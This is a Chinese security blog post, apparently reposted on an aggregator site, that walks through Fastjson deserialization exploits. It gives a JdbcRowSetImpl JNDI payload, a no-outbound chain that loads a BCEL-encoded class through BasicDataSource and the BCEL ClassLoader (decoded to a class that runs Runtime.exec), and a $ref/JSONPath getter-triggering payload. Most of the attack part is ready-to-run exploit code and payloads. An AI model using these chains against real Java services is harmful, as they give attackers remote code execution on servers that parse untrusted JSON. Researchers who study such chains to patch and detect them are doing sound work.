FastJson不出网利用
创始人
2024-04-07 19:02:54

fastjson反序列化(四)

0x01 JNDI利用

JdbcRowSetImpl

JdbcRowSetImpl中存在的JNDI注入

在这里插入图片描述

这里考虑setAutoCommit

在这里插入图片描述

是个set方法

参数是布尔类型的

在这里插入图片描述

使用Yakit生成一个反连

在这里插入图片描述

构造EXP

首先类名是com.sun.rowset.JdbcRowSetImpl 也就是@type 的值

接着是.lookup的参数DataSourceName 也就是rmi或ldap的地址

最后是AutoCommit 布尔型的参数

public class FastJsonJdbcRowSetImpl {public static void main(String[] args) throws Exception{String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ZhALlpnN\",\"AutoCommit\":false}";JSON.parseObject(s);}
}

在这里插入图片描述

但是这种利用方式是需要出网的,并且有版本、依赖限制

下面来看一个可以本地利用的

0x02 不出网利用

fastjson≤1.2.24

条件:BasicDataSource只需要有dbcptomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

ClassLoader 存在一处loadclass

protected Class loadClass(String class_name, boolean resolve)throws ClassNotFoundException{Class cl = null;/* First try: lookup hash table.*/if((cl=(Class)classes.get(class_name)) == null) {/* Second try: Load system class using system class loader. You better* don't mess around with them.*/for(int i=0; i < ignored_packages.length; i++) {if(class_name.startsWith(ignored_packages[i])) {cl = deferTo.loadClass(class_name);break;}}if(cl == null) {JavaClass clazz = null;/* Third try: Special request?*/if(class_name.indexOf("$$BCEL$$") >= 0)clazz = createClass(class_name);else { // Fourth try: Load classes via repositoryif ((clazz = repository.loadClass(class_name)) != null) {clazz = modifyClass(clazz);}elsethrow new ClassNotFoundException(class_name);}if(clazz != null) {byte[] bytes  = clazz.getBytes();cl = defineClass(class_name, bytes, 0, bytes.length);} else // Fourth try: Use default class loadercl = Class.forName(class_name);}if(resolve)resolveClass(cl);}classes.put(class_name, cl);return cl;}

当类名是以$$BCEL$$ 开头,就会创建一个该类,并用definclass去调用

BCEL提供两个类,RepositoryUtility

Repository用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码

Utility用于将原生的字节码转换成BCEL格式的字节码

其中createClass 方法中

在这里插入图片描述

有一处解密,所以我们需要加密一下

exp

package org.example;import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;/*** @Author kilo、冰室/ki10Moc* @date 2022/11/7* @time 14:30* @blog http://ki10.top**/
public class FastJsonBcel {public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {JavaClass javaClass = Repository.lookupClass(Evil.class);String encode = Utility.encode(javaClass.getBytes(), true);System.out.println(encode);Class.forName("$$BCEL$$" + encode, true, new ClassLoader());//        new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();}
}

0x03 利用链

这次我们尝试以漏洞发现者的身份来看这条链子

首先是org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory()

protected ConnectionFactory createConnectionFactory() throws SQLException {// Load the JDBC driver classDriver driverToUse = this.driver;if (driverToUse == null) {Class driverFromCCL = null;if (driverClassName != null) {try {try {if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);} else {driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);}} catch (final ClassNotFoundException cnfe) {driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);}} catch (final Exception t) {final String message = "Cannot load JDBC driver class '" + driverClassName + "'";logWriter.println(message);t.printStackTrace(logWriter);throw new SQLException(message, t);}}try {if (driverFromCCL == null) {driverToUse = DriverManager.getDriver(url);} else {// Usage of DriverManager is not possible, as it does not// respect the ContextClassLoader// N.B. This cast may cause ClassCastException which is handled belowdriverToUse = (Driver) driverFromCCL.getConstructor().newInstance();if (!driverToUse.acceptsURL(url)) {throw new SQLException("No suitable driver", "08001");}}} catch (final Exception t) {final String message = "Cannot create JDBC driver of class '"+ (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";logWriter.println(message);t.printStackTrace(logWriter);throw new SQLException(message, t);}}// Set up the driver connection factory we will usefinal String user = userName;if (user != null) {connectionProperties.put("user", user);} else {log("DBCP DataSource configured without a 'username'");}final String pwd = password;if (pwd != null) {connectionProperties.put("password", pwd);} else {log("DBCP DataSource configured without a 'password'");}final ConnectionFactory driverConnectionFactory = new DriverConnectionFactory(driverToUse, url,connectionProperties);return driverConnectionFactory;}

我们来看关键部分

if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);} else {driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);}

若存在driverClassLoader 则会对类进行初始化

这里的driverClassNamedriverClassLoader 都是可控的

这里就可以考虑将driverClassLoader 的参数写为com.sun.org.apache.bcel.internal.util.ClassLoader

接着

org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createDataSource() 中调用了createConnectionFactory()

protected DataSource createDataSource() throws SQLException {if (closed) {throw new SQLException("Data source is closed");}// Return the pool if we have already created it// This is double-checked locking. This is safe since dataSource is// volatile and the code is targeted at Java 5 onwards.if (dataSource != null) {return dataSource;}synchronized (this) {if (dataSource != null) {return dataSource;}jmxRegister();// create factory which returns raw physical connectionsfinal ConnectionFactory driverConnectionFactory = createConnectionFactory();// Set up the poolable connection factoryboolean success = false;PoolableConnectionFactory poolableConnectionFactory;try {poolableConnectionFactory = createPoolableConnectionFactory(driverConnectionFactory);poolableConnectionFactory.setPoolStatements(poolPreparedStatements);poolableConnectionFactory.setMaxOpenPreparedStatements(maxOpenPreparedStatements);success = true;} catch (final SQLException se) {throw se;} catch (final RuntimeException rte) {throw rte;} catch (final Exception ex) {throw new SQLException("Error creating connection factory", ex);}if (success) {// create a pool for our connectionscreateConnectionPool(poolableConnectionFactory);}// Create the pooling data source to manage connectionsDataSource newDataSource;success = false;try {newDataSource = createDataSourceInstance();newDataSource.setLogWriter(logWriter);success = true;} catch (final SQLException se) {throw se;} catch (final RuntimeException rte) {throw rte;} catch (final Exception ex) {throw new SQLException("Error creating datasource", ex);} finally {if (!success) {closeConnectionPool();}}// If initialSize > 0, preload the pooltry {for (int i = 0; i < initialSize; i++) {connectionPool.addObject();}} catch (final Exception e) {closeConnectionPool();throw new SQLException("Error preloading the connection pool", e);}// If timeBetweenEvictionRunsMillis > 0, start the pool's evictor taskstartPoolMaintenance();dataSource = newDataSource;return dataSource;}}

这里需要让

if (dataSource != null) {return dataSource;}synchronized (this) {if (dataSource != null) {return dataSource;}

均为false才能调用

接着

org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection() 调用

public Connection getConnection() throws SQLException {if (Utils.IS_SECURITY_ENABLED) {final PrivilegedExceptionAction action = new PaGetConnection();try {return AccessController.doPrivileged(action);} catch (final PrivilegedActionException e) {final Throwable cause = e.getCause();if (cause instanceof SQLException) {throw (SQLException) cause;}throw new SQLException(e);}}return createDataSource().getConnection();}

至此,链子的整体流程

在这里插入图片描述

poc

package org.example;import com.alibaba.fastjson.JSON;/*** @Author kilo、冰室/ki10Moc* @date 2022/11/7* @time 14:30* @blog http://ki10.top**/public class FastJsonBcel {public static void main(String[] args){String payload2 = "{\n" +"    {\n" +"        \"ki10\":{\n" +"                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +"                \"driverClassLoader\": {\n" +"                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +"                },\n" +"                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +"        }\n" +"    }: \"Moc\"\n" +"}";JSON.parse(payload2);}
}

需要注意的是

这里poc的嵌套

最后JSON.parse 触发key.toString()

在这里插入图片描述

整个poc都为JSONObjectvalueMoc

然后判断是否是JSON对象,再去识别keyvalue

在这里插入图片描述

调试过程中确实两次落在该断点

key = (key == null) ? "null" : key.toString();

而在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,执行相应的 getter 、is等方法。因此也会执行getConnection方法

当然以上都是建立在parse() 方法之上

如果poc是parseObject() ,那就简单了,因为在处理过程中会调用所有的 setter 和 getter 方法。详细可以看FastJson反序列化基础

exp

package org.example;import com.alibaba.fastjson.JSON;/*** @Author kilo、冰室/ki10Moc* @date 2022/11/7* @time 14:30* @blog http://ki10.top**/public class FastJsonBcel {public static void main(String[] args) {
String s = "{\n" +"               \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +"                \"driverClassLoader\": {\n" +"                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +"                },\n" +"                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbN$db$40$U$3d$938$b1c$9c$e6A$D$94$a6o$k$81E$zPw$m6$V$95$aa$baM$d5$m$ba$9eL$a7a$82cG$f6$84$a6_$c4$3a$hZ$b1$e8$H$f0Q$88$3b$sM$pAG$f2$7d$ce9$f7$dc$f1$d5$f5$e5$l$Ao$b0$e1$c2$c1$b2$8b$V$3cr$b0j$fcc$hM$X$F$3c$b1$f1$d4$c63$86$e2$be$8a$94$3e$60$c8$b7$b6$8e$Z$ac$b7$f17$c9P$JT$q$3f$8d$G$5d$99$i$f1nH$95z$Q$L$k$k$f3D$99$7cZ$b4$f4$89J$Z$9a$81$88$H$fep$87$ff$dc$fd$a1$o$ff$3bOu$3f$8d$p$ff$f0L$85$7b$M$ce$be$I$a7C$Y$81$gA$9f$9fq_$c5$fe$fb$f6$e1X$c8$a1VqD$d7$ca$j$cd$c5$e9G$3e$cc$c8I$t$83$db$89G$89$90$ef$94$ZV2t$af$N$d6C$J$ae$8d$e7$k$5e$e0$r$a9$ma$c2$c3$x$ac1$y$de$c3$eda$j$$$c3$ea$ffE2T3$5c$c8$a3$9e$df$ee$f6$a5$d0$M$b5$7f$a5$_$a3H$ab$Bip$7bR$cf$92Fk$x$b8s$87$W$b1$e4X$K$86$cd$d6$5c$b7$a3$T$V$f5$f6$e6$B$9f$93X$c84$r$40eHM$9d$ad$7f$94p$ni$z$9b$7e$9c990$b3$y$d9$F$ca$7c$f2$8c$7ca$fb$X$d8$qk$7bd$8b$b7E$94$c9z$d3$f8$B$w$e4$jTg$60$9e$91$B$f5$df$c8$d5$f3$X$b0$be$9e$c3$f9$b0$7d$81$e2$q$ab$97$I$5b$40$3ec$5c$a2$c8$a0K$844$af$5d$s$96$gE$7f$t$94aQ$5e$a7l$91$3e$h$b9$c0$c6C$8b$g$8dL$d4$d2$N_$9f$94$o$82$C$A$A\"\n" +"        }";JSON.parseObject(s);}
}

在这里插入图片描述

上面我们说了那么多,基本已经走完了流程,但还有个问题,这里的driverClassName 后面的值是什么

可能还要到com.sun.org.apache.bcel.internal.util.ClassLoader 去找答案

这里我们说,我们是通过loadClass下重写的方法来执行的,其中有个defiClass 显然是通过字节码来实现的。再回过头看createClass中的Utility.*decode*

这里我们还原一下内容

public class BCELDecode {public static void main(String[] args) throws IOException {String encode = "$l$8b$I$A$A$A$A$A$A$A...";byte[] decode = Utility.decode(encode,true);FileOutputStream fileOutputStream = new FileOutputStream("DecodeClass.class");fileOutputStream.write(decode);}
}

得到DecodeClass.class

实际上就是静态方法里面执行弹计算器

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//package com.p1ay2win.fastjson;import java.io.IOException;public class Evil {public Evil() {}static {try {Runtime.getRuntime().exec("calc");} catch (IOException var1) {var1.printStackTrace();}}
}

0x04 $ref

fastjson≥1.2.36

这里我们要讨论的问题就是上面JSON.parse()JSON.parseObect() 这两种不同方法调用的问题

这里给出另一种解决方法

JSONPath

在这里插入图片描述

添加依赖

com.alibabafastjson1.2.36
package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;/*** @Author kilo、冰室/ki10Moc* @date 2022/11/14* @time 0:10* @blog http://ki10.top**/
public class TestCalc {public static void main(String[] args) {ParserConfig.getGlobalInstance().setAutoTypeSupport(true);String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";Object o = JSON.parse(payload);}}
package org.example;import java.io.IOException;/*** @Author kilo、冰室/ki10Moc* @date 2022/11/14* @time 0:06* @blog http://ki10.top**/
public class Test {private String cmd;public String getCmd() throws IOException {Runtime.getRuntime().exec(cmd);return cmd;}public void setCmd(String cmd) {this.cmd = cmd;}
}

在这里插入图片描述

首先就是我们要弄清该payload ,就需要知道[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}] ref的作用

在这里插入图片描述

打上断点来debug下

首先是handleResovleTask

这里是处理refvalue的地方

首先判断是否是开头,然后获取对象,最后确定ref:‘开头,然后获取对象,最后确定ref:`开头,然后获取对象,最后确定ref:‘[0].cmd`

$[0]表示的是数组里的第一个元素,则$[0].cmd表示的是获取第一个元素的cmd属性的值。

在这里插入图片描述

来看getObject()

在这里插入图片描述

获取数组,第0个位$ ,第1个为$[0] 并返回该对象

下面是JSONPath.eval()

在这里插入图片描述

继续跟进compile()

在这里插入图片描述

这里路径不为空,不会抛出异常

在这里插入图片描述

接着跟进eval下的init()

在这里插入图片描述

这里segments为空,继续往下走

在这里插入图片描述

在调用parser.explain() 方法前segments为空

在这里插入图片描述

Segement[] 初始长度为8,因为其接口一共有8个

在这里插入图片描述

在这里插入图片描述

这里segment值就变成了JSONPath

在这里插入图片描述

循环追加到StringBuilder后面

在这里插入图片描述

然后按顺序执行前面explain()生成的Segment array

最终在getPropertyValue()反射调用get()

至此,就完成了不使用JSON.parseObect()也能调用get() 的方法

最后可以看下Y4师傅的

[Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析_Y4tacker的博客-CSDN博客_fastjson get方法

0x05 参考

[Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析_Y4tacker的博客-CSDN博客_fastjson get方法

fastjson不出网学习 - R0ser1 - 博客园 (cnblogs.com)

FastJson反序列化之BasicDataSource利用链 – cc (ccship.cn)

fastjson不出网利用简析 - P1ay2win’s blog (play2win.top)

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...